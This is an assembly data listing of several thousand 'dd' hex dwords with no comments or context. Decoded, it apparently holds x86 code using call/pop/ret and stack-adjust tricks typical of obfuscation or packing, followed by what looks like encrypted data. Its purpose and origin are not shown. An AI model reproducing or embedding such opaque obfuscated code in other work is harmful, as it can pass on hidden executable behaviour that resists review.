dd 4244481h, 1Bh, 0F4C35646h, 0DC61B76Bh, 668974E0h, 0C74397BFh
dd 0AA727C01h, 57006A44h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 563873Bh, 66AE41C5h, 66BC70BFh
dd 0D943EE81h, 0CFCB0181h, 6A1499h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8817F7C3h
dd 850FF807h, 0Ah, 2D8D8B60h, 0B109352Dh, 41C76111h, 78753C04h
dd 57006ACEh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 8142AD17h, 0D7100441h, 6A31D6h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 1D4049C3h, 57545B4Dh, 25A58589h, 6A0935h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F0C35040h, 0A73728F4h
dd 6F4E1DF3h, 8B0F52F7h, 2, 0F5EF38Bh, 38Dh, 0F3BF0F00h
dd 2C09858Dh, 8D890935h, 9350345h, 0F08B6690h, 51525050h
dd 8D0Fh, 0F5F0000h, 66525031h, 0F2FDDBFh, 5A5E5031h, 90585A58h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 21C35343h
dd 10E9CC94h, 0DE000000h, 5E847995h, 31F0B0FAh, 8866E7F5h
dd 0FF50588Ch, 3502F595h, 8B606009h, 0C58D33C7h, 6109352Ah
dd 61D6BF0Fh, 2C098D8Dh, 0F6810935h, 795507ECh, 1C7h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 0B2883CC3h, 441C7F5h, 0
dd 0FF32E4BFh, 0FC00B45h, 7184h, 28D8D00h, 0F09354Ch, 0B8Eh
dd 6E900h, 4E0D0000h, 8F52941Fh, 5B8h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0DF4618F3h, 66480CC2h, 0F9480BFh, 87h, 6AE1FF00h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 0E6DCC350h, 81669195h, 0F420CCEh, 8D8DFEB7h, 9352C09h
dd 0FA8A6056h, 8C0Fh, 5F610000h, 95A501C7h, 850F54CAh
dd 11h, 0AE956h, 0B09E0000h, 0A2848D94h, 3138EC0h, 0CB01815Fh
dd 661499CFh, 3FBEF28Bh, 0C712CCC2h, 59690441h, 13E9CE5Fh
dd 0E9000000h, 781020D2h, 1E974620h, 0AADAC40Ch, 0E18F5453h
dd 4181CFD6h, 0D6D71004h, 51006A31h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1DB7470Eh
dd 6AC47CAAh, 9858D00h, 6A09352Ch, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C107C350h
dd 50FAB70Fh, 66240489h, 42BEE681h, 2F595FFh, 0BF660935h
dd 8D8DD94Dh, 9352C09h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 49C35343h, 13E19D89h, 1C70935h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 65C35242h
dd 41C71339h, 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0E063341Bh, 88F0F75h
dd 0F000000h, 284h, 8BF08B00h, 35043DBDh, 0FC00B09h, 5984h
dd 9A06BF00h, 8D8D4821h, 9354C02h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0C5C35242h, 0FB92A377h, 0E88CAACDh
dd 0Eh, 9B79F2CCh, 3892CE09h, 0A0EB915Bh, 0BD0BA405h, 9350FD9h
dd 5B85Eh, 0BE660000h, 0BD8BFCB5h, 935246Dh, 0CA03E1FFh
dd 0FFF143E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0B01536Dh, 0FDF22889h
dd 14E909EEh, 6C000000h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh
dd 0CAF06344h, 29898A24h, 352281BDh, 0AFA4BE09h, 0C18B65E2h
dd 24C1BD89h, 4EB0935h, 0
dd 3D9B58Bh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 858D00C3h, 9352659h, 0F90F78Bh
dd 198Ch, 0DE86000h, 81000000h, 9EBD657Ch, 63BDA868h, 0AD96F7BBh
dd 0C9B8665Bh, 66506160h, 6A90F08Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0FEBDC356h
dd 28CC7F33h, 9ABE6656h, 6A5E69h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 5DC35141h, 0E254889Eh, 8B661A97h
dd 0BE006AF3h, 7FCE062Dh, 128B0Fh, 0CE80000h, 4E000000h
dd 22B134B1h, 0F6717BDCh, 5ED84ACAh, 0E8E9858Dh, 6A0938h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0E5076BC3h, 81669447h, 83005CDEh, 0F38B05C0h, 880F5090h
dd 8, 2870Fh, 5E500000h, 6AF28B90h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0E018BD67h
dd 9D896B90h, 935024Dh, 6AF78Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 0E8C35545h, 0AD011D2Ch, 3195FF3Ch
dd 6A093503h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0A96AC356h, 0F28B669Dh, 9AAB9D8Dh
dd 9D290938h, 935067Dh, 0C681D3FFh, 78DD413Bh, 300985FFh
dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0FE82CEC3h, 386DFAAh, 0E9F33A51h, 8A5h, 0E8h
dd 0ED815D00h, 938E8F3h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0F5C35141h, 4269D01Dh, 0CE8166D8h, 0BD81DD76h
dd 93528EDh, 7D0h, 124860Fh, 0B58B0000h, 9352ED9h, 12219D8Bh
dd 8B660935h, 0E381F7h, 8B000001h, 35307DB5h, 0FDB0B09h
dd 9085h, 15BD8900h, 8309350Eh, 38E732BDh, 840F0009h, 32h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 8C35141h
dd 8D29E811h, 935291Dh, 0C7D8D31h, 84E90935h, 0F000000h
dd 85C7F6BFh, 938E732h, 1, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0C8C35343h, 0E9F3B70Fh, 53h, 14E960h
dd 5D4F0000h, 3A3627ABh, 70E89D12h, 0EDA701D7h, 86672CAAh
dd 0DE8B44DBh, 3285C761h, 938E7h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0F07DC355h, 89A67EC4h, 35236D85h, 5B58B09h, 8D09350Bh
dd 3512219Dh, 0E6816609h, 23818227h, 0FFFFFEFFh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0DC35141h, 5A401018h
dd 9EE5ACCFh, 0BC6DBE80h, 8C664557h, 0E4BE66DBh, 4C3F631h
dd 69840Fh, 8D010000h, 93526D1h, 247195FFh, 50900935h
dd 9331D0BEh, 0F505E44h, 1B88h, 0E8525000h, 9, 4AB809EDh
dd 7212C1AEh, 310F5E40h, 310F5250h, 585A585Ah, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 9FB5EE7h, 1FC4EF6Eh, 0AE9h, 64458800h, 3423CF17h, 0E979776Bh
dd 3ACh, 70E600B0h, 6A71E4F5h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0FA34C357h, 0F67658Eh
dd 6E9D8B6h, 0AD000000h, 0B03FF6CCh, 6BA8Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 66FA42C3h, 0B58BF78Bh, 9350455h, 6AC38Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DF4983C3h
dd 6DB58BEFh, 0C1093531h, 6A04E8h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 251E8EC3h, 668B7B2Eh
dd 0A5EBCE81h, 0E9E2F766h, 0Eh, 515A7A41h, 0D4D92EB3h
dd 3C3A80DFh, 0D82BA1EDh, 68E0Fh, 0C6810000h, 34D2A071h
dd 0FE95393h, 8B000000h, 8E7B4329h, 0B24DAAD4h, 740FD888h
dd 505EB8DEh, 93F08B66h, 28EDB5FFh, 95FF0935h, 9350829h
dd 2E9B58Bh, 11E90935h, 2D000000h, 24612F97h, 14E392DBh
dd 27192C24h, 0A37C97C4h, 9E900B0h, 32000000h, 133489Bh
dd 0BCE930EBh, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0F5FE4CC3h, 0D58D8B60h, 66093526h
dd 325ED381h, 0EE961h, 61480000h, 26A7348Fh, 55DBFD61h
dd 0FCF0450Ch, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 33791AC3h, 0F613CE0h, 21B83h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 3BC974A0h, 0CE8B6044h, 1EC1852Bh, 0F610935h, 6AD8B6h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 8B136DC3h, 350495B5h, 6BA09h, 0F38B0000h, 6AC38Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 850164C3h, 9350B01h, 6A04E8C1h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A12C356h
dd 0F766F08Bh, 0D8B0FE2h, 0E8000000h, 7, 0B2DE2EDEh, 5E6C2DFBh
dd 0BD89D82Bh, 9351B7Dh, 2BF28B58h, 55880FD8h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 3154C355h, 3505919Dh, 0BE6609h, 7B96Dh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 8F0FA9C3h, 17h, 0BE8h, 0A2640A00h, 0A6A2FAE0h, 7B07D1A4h
dd 850Fh, 295E0000h, 35060195h, 0C18309h, 6158D89h, 0D93B0935h
dd 0DA860Fh, 8C660000h, 5FF681D9h, 0F62FFF54h, 840F04C1h
dd 0C0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 95C35141h, 0F7EE836Eh, 810B20D3h, 0C2CC0EDEh, 7195FF0Ch
dd 57093524h, 12E9h, 9026A400h, 0B3829531h, 1E2C1391h
dd 0F4D1F33Bh, 5E10DD5Bh, 50006A5Bh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 9BC21CD5h
dd 41C9AA38h, 6AC32B4Ah, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 0A07DC356h, 8343DA7h
dd 860F0000h, 28h, 0E9F28B66h, 28h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 79C35545h, 42EE943Bh, 0BE66C08Bh
dd 0F78BD45Fh, 0D88BC38Bh, 16F1B58Bh, 85C70935h, 9350441h
dd 3B88C13Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 88C35141h, 4355E083h, 0A59D29C7h, 8B093526h, 66BE66C0h
dd 0EDBD81D9h, 0D0093528h, 0F000007h, 3585h, 0D5B52300h
dd 66093521h, 0FF1477BEh, 3528ED85h, 52006A09h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 29575090h
dd 352D0995h, 0B5FF5E09h, 93528EDh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 9BC35343h, 0FF7AE1CBh, 35082995h
dd 49BD0109h, 90093530h
dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 387EFEC3h, 83F3B70Fh, 352365BDh, 840F0009h
dd 0Eh, 0E9F7BF0Fh, 214h, 0B9EEC681h, 0DF8C077Fh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DEC35141h, 0C7F766F5h
dd 850F0004h, 1E4h, 4F10F681h, 0BF4FF8h, 66000000h, 8DA843BEh
dd 38F13C9Dh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 0D6816E6Ch, 61D4DEDDh, 0E9566050h
dd 13h, 0C9902E78h, 7FB769EFh, 40E49A0h, 23B6713Bh, 5ED442CDh
dd 14E9h, 0B6552500h, 0BEB907AFh, 3AEDF738h, 662D25E7h
dd 40FB2756h, 1C89615Fh, 0CE816624h, 0FF644872h, 35h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 0AE23992h, 2865B58Bh, 89640935h, 25h, 8B5E5700h, 0E98D01C4h
dd 0CD09352Fh, 8B00EB01h, 350A45B5h, 52006A09h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0EA48AC84h
dd 7DBD89h, 8F640935h, 5, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9CB5BC89h
dd 2409B509h, 0C4830935h, 0BDBD0904h, 0B093522h, 0C5840FC0h
dd 1000000h, 351EB9BDh, 0FBBE6609h, 2BD8D1Ah, 6A09354Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0F440C357h, 5B878h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 40F11BC3h
dd 31F6F635h, 66F28B03h, 0FFA19EBEh, 53006AE7h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 661AF990h
dd 8B57F18Bh, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h
dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1FC35747h, 9D89820Eh
dd 9353339h, 65E9CA2Bh, 0E9FFFFF7h, 5, 0F9C0F70h, 6AC18B08h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0FCC3C353h, 4DD54B1Eh, 4EBB223h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h
dd 6D8D8B60h, 81093529h, 10EC3FE6h, 6A6109h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 858DCAC3h
dd 9352659h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 81C35646h, 3F7DA711h, 60A9DBB1h, 0AE9h, 0AB5F8300h
dd 3C086FD9h, 0F6F4ADBh, 9061FBB7h, 5E8h, 9CB09600h, 505F50DEh
dd 8574BE66h, 0F1B58B90h, 6A09351Bh, 0B58B5100h, 9352CE1h
dd 8D09605Fh, 93523B5h, 0F006A61h, 858DF9BFh, 938F3A8h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h
dd 0D3ECA413h, 697910C7h, 0C083F28Bh, 0B70F5705h, 0BE505EFEh
dd 7B2D93D4h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 0BA24C356h, 890F86h
dd 6A000000h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0ED1C4E78h, 0FB2B2F81h, 69BD0184h
dd 0E9093512h, 7, 45B90C69h, 6AE61DDBh, 0A6BF6600h, 3195FF38h
dd 6A093503h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 160AC356h, 8F3DE6F4h, 8DB50B30h
dd 8D09351Dh, 389AAB9Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 9D890EE1h, 9351BC9h, 0CD5BD8Bh
dd 0D3FF0935h, 8E8h, 0B069FE00h, 54C25789h, 53CE81FCh
dd 5F5F4B81h, 85FFF88Bh, 9353009h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 88C35646h, 45E9C16Ah, 0E8000008h
dd 0
dd 0B2ED815Dh, 6A0938F3h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0ACB8C357h, 0B2103A9Ch
dd 0D8D0Fh, 66600000h, 0D4EDE681h, 0BA5D381h, 81617A38h
dd 3528EDBDh, 7D009h, 3F860F00h, 6A000001h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2FB6C355h
dd 0B219D8Bh, 8D0F0935h, 15h, 10E9h, 736F4A00h, 0D59F3EF7h
dd 9FFF2529h, 80F755ACh, 0E381E2h, 52000001h, 0DB0B5FFCh
dd 0AD850Fh, 8B660000h, 0BABD83F2h, 938F1h, 67840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0F7A0EDC3h, 0FE98665h, 0B88h, 6E900h, 0D5DA0000h, 4CFCD986h
dd 4850Fh, 0BF660000h, 6CE94E4Ah, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 89B7C350h, 0B891361Ch, 8B66B882h, 0BA85C7F8h, 10938F1h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 687FC356h, 0A4C69E73h, 16E9h
dd 45B58B00h, 0C709352Bh, 38F1BA85h, 9, 25B58900h, 8D093510h
dd 350B219Dh, 0FFBF0F09h, 27B18D89h, 23810935h, 0FFFFFEFFh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 8FC35747h
dd 8C66721Dh, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0B58B2DCAh, 9350EC5h, 0F04C3F6h
dd 6384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 930AAF23h, 95FFFC2Dh, 9352471h, 8EA665BEh
dd 0E850904Eh, 7, 0FD4DB7F7h, 5E226C6Fh, 53006A90h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 63E6029Ch, 1AAD7FDAh, 0F7BF0FD3h, 415E9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 94B7156h, 3502A58Dh, 5000B009h, 0A518D29h, 0E65F0935h
dd 95852970h, 0E409351Eh, 51006A71h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0BE90ADADh
dd 0A55684B1h, 0D8B60F98h, 0BE8h, 81BEE000h, 0E743F1Ah
dd 306D7C49h, 0ABDB52Bh, 0BA5F0935h, 6, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8DC35343h, 25B331Ah
dd 0C38BDDFBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 67C35747h, 11A55943h, 0F8510C3h, 28Eh, 0C1F28B00h
dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 43D077C3h, 2C91B589h, 0F7660935h, 56006AE2h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 107CF68Bh, 0E9031EC4h, 800F3C1Dh, 14h, 0FE9h, 0F5CE6200h
dd 6209174Eh, 56A39BEBh, 9EDFB23Ah, 6053D82Bh, 2ADDBD03h
dd 8D330935h, 93525E1h, 8B505E61h, 241C89F3h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 0EDB5FFFCh
dd 6A093528h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 363BC353h, 0C0EB71F6h, 82995FFh
dd 5F530935h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 2034BAC3h, 0FE944A2h, 6E000000h
dd 0B5B91CDAh, 13FA1377h, 65CBCFCFh, 70E6AE12h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 75C35646h, 6A71E4h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0C3BF8EC3h, 3C29C843h, 0FF830F61h, 6A000001h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 489DC351h, 0C8BABF75h, 0B58B1522h, 9350E1Dh, 89D8B60Fh
dd 3525FD8Dh, 6BA09h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 75E2D2C3h, 119D01F9h
dd 0E809352Ch, 10h, 546E8CF6h, 1CEEC6F8h, 92DA1C8Dh, 8435BEACh
dd 1259501h, 8B5E0935h, 6800FC3h, 81000000h, 0CEE9D6E6h
dd 4E8C170h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 54C35545h, 7B759478h, 0F766A2C8h, 0D9BD8BE2h, 0E909350Fh
dd 11h, 0B7A0AD3Dh, 0B01C437Ch, 5A5DCC62h, 21991CBAh, 6AD82B05h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0A84FC352h, 58EF801Ah, 23C58589h, 0D82B0935h
dd 104880Fh, 7B90000h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 73E3C356h
dd 0C3B56DABh, 0AE8BF54h, 8A000000h, 5F031440h, 5D1B0B2Bh
dd 315FF91Fh, 352B79B5h, 0C18309h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0B5C35747h, 0B6CE257Eh, 0DA8EE952h
dd 2C11BD8Bh, 0BD8B0935h, 9350C09h, 860FD93Bh, 8Ah, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 6BC35040h, 3289A5C1h
dd 9890Fh, 810F0000h, 3, 66F88B66h, 35BED98Ch, 0F67FCF6Eh
dd 840F04C1h, 45h, 5E8h, 302C6D00h, 85898E20h, 9350F09h
dd 7195FF5Fh, 0F9093524h, 69B58B5Bh, 2B09352Ah, 9E9C3h
dd 7570000h, 933C80D1h, 3D526C7Fh, 834h, 0B860Fh, 0BD8B0000h
dd 935225Dh, 5E9h, 66C08B00h, 0C38BFA8Bh, 8E0FD88Bh, 0Ah
dd 0F616060h, 86h, 85C76100h, 9351221h, 1F64E5FFh, 261DBD89h
dd 0C08B0935h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0DBC35242h, 81FAB70Fh, 3528EDBDh, 7D009h, 54850F00h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 2EDCC356h, 0E8BC068Ch, 0BD293ED9h
dd 9350D6Dh, 28ED85FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 9560ECC3h, 7575B66Bh
dd 0FF33B972h, 3528EDB5h, 50006A09h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 9BA1F543h
dd 68A0Fh, 0C7810000h, 532DCF02h, 82995FFh, 0F98B0935h
dd 0C6816690h, 0B589C5ADh, 9351F81h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 8AC35141h, 25C916E9h, 0BF536BDFh
dd 140EDA04h, 0AE8h, 0B9FF2F00h, 0C5448706h, 0E90CE52Ah
dd 0Fh, 9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh, 5EFDDA09h, 52006A5Eh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 5E9E8h, 20F50000h, 6AA76D1Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 4643C353h, 0FC70800h
dd 0EDBD8B8Dh, 0F09352Fh, 481h, 67BF6600h, 52006A55h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0AD956A94h, 6A6548h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h
dd 51410000h, 6AA2DDC3h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0BB24C353h, 75C6A106h
dd 27CDBD33h, 0B58B0935h, 9353091h, 0FFF7C2E9h, 0EBBE66FFh
dd 0F0BF0FC6h, 157704EBh, 0ADE97DA8h, 4A000005h, 0ED2CBE8h
dd 63158613h, 14CCD1CCh, 5E227B1Ch, 0D2C9D2C7h, 4158D1B9h
dd 0A8FA45Ch, 4451CF91h, 148DA157h, 0B7EDA187h, 12FD470Dh
dd 47F7DC09h, 0D143AE2Bh, 0A45C4158h, 70E40F88h, 607DF3FCh
dd 0EDE10F91h, 0B2425FD3h, 3DA4B92Bh, 0E6CE4FB6h, 19821F13h
dd 0CFCCC967h, 678A1709h, 0F3D907C3h, 0E71C3641h, 41BB019Fh
dd 29AF1C36h, 0A6BD2FC7h, 9D27BD11h, 991C3641h, 41E7CD17h
dd 61F1C36h, 0E6DC6093h, 0A2E96F92h, 0CA242DBBh, 6EDFCD24h
dd 607DF386h, 2A9C53Bh, 78F70D7Ah, 0DA9F655Dh, 7D0BE608h
dd 1C358C3Ah, 5C6AE3Fh, 8950AEC8h, 779Fh, 2B47F000h, 0DCF9728Ch
dd 6B519315h, 9B1C3641h, 5AB1984h, 1A6208EBh, 0EFD7808Ch
dd 0A985C62h, 1C3596C2h, 965D7AF6h, 6C920F22h, 1C0CE7F0h
dd 0B122C5AFh, 223FC10Dh, 96872DB7h, 5D831C35h, 7F584C99h
dd 8950A54Eh, 619h, 0D64B7500h, 47842BCBh, 0D044AF2Ah
dd 7688445Dh, 6772EDFAh, 72E66D89h, 0AF16DDFAh, 0BEB3462Eh
dd 549F3A33h, 0FB7D1ED0h, 32217A67h, 23AB2E47h, 377D2367h
dd 331C3641h, 418D37ADh, 67891C36h, 819C108Fh, 0B4D8B418h
dd 3641C4EEh, 0C41EC01Ch, 1C3641FEh, 8100F4FAh, 27D2C213h
dd 4E128B0Eh, 0B7FDA3D2h, 0B31C3641h, 8A30C32Dh, 15E1FE70h
dd 0DA19849Bh, 8CA517F7h, 9923C10Dh, 8D1C3641h, 0AE96EB0Bh
dd 4FFF70ADh, 0BA1789h, 49730000h, 0CEF4AAD5h, 0CA1C364Ch
dd 8327CA24h, 364C575Dh, 0A34D531Ch, 2E47AC53h, 396723ABh
dd 1C364193h, 0E956187h, 3128859Ah, 748646A8h, 9418DBFCh
dd 0EE5F26Ah, 7EE36A8Ah, 0EE10351Fh, 0E926176h, 419A20BEh
dd 88E1C36h, 0DEFB72ECh, 0B7223BBDh, 924963Ch, 72EA6490h
dd 0E3AB8E65h, 3B43E89Bh, 10E41B6Fh, 0A5F8D1C3h, 0E28950F6h
dd 74h, 0BB2E47B1h, 438917A4h, 371C3641h, 1DB13FB1h, 0E2118CA3h
dd 0A517965Eh, 92071E8Bh, 823955Ch, 7CF2668Dh, 0B02D945Fh
dd 13BB21C4h, 8D6970E9h, 75874C38h, 9418DBFEh, 6277EE60h
dd 3A801E6Ah, 2E1C3641h, 0BC6F4CA8h, 578D2A47h, 1C36416Dh
dd 0B40E8BA5h, 0A735BC32h, 1C364120h, 0E7ECD825h, 41B7FDA3h
dd 2DB31C36h, 0F9E429C9h, 183894Fh, 44000000h, 6B76EB15h
dd 7EF00488h, 0A8D8F4E1h, 0A85C4021h, 4AC92D57h, 0B63D5AD6h
dd 41B02D42h, 0A41750CFh, 15BF787h, 1DB33EB0h, 0CD611400h
dd 0FB681AD4h, 0F4E17E09h, 4C49E6D8h, 0D41FBCB2h, 0DFC7A450h
dd 0E5CDF9Fh, 0BFE8E8A1h, 1B21FE83h, 0E97C7876h, 7D1A16DEh
dd 9A455B73h, 6815035Ch, 0C58B9A18h, 3FB77F2Eh, 93061F91h
dd 9E24BA60h, 9A1300EEh, 0B24DA14h, 1F91608Eh, 53059603h
dd 0F00AC2DFh, 0C90637Ch, 0F52BA2B4h, 15E16F64h, 1DB6FE8Eh
dd 35C61301h, 37A0BC4Fh, 0E9B6E797h, 0FAC46D05h, 289BD1C6h
dd 0BD3924B4h, 9B0418E0h, 4F48E458h, 0FDE734A4h, 1489160Ah
dd 5469621Ah, 3060BBC8h, 0B44055CEh, 853CC10Ch, 156A692h
dd 15E50000h, 41A12BB9h, 23951C36h, 0E0648F0Ah, 485BE60Eh
dd 7BA63C90h, 7915035Eh, 14087C77h, 0A21C128Bh, 77E90D8Ah
dd 0A113DEFBh, 600B248Dh, 1EBB6574h, 767D73F0h, 87F5FCF2h
dd 97292E16h, 76FAF99Ch, 87100C7Eh, 67D93416h, 698E9285h
dd 3D000000h, 0D8B1AD15h, 7BB024D8h, 0ABEFE5B4h, 16DE1003h
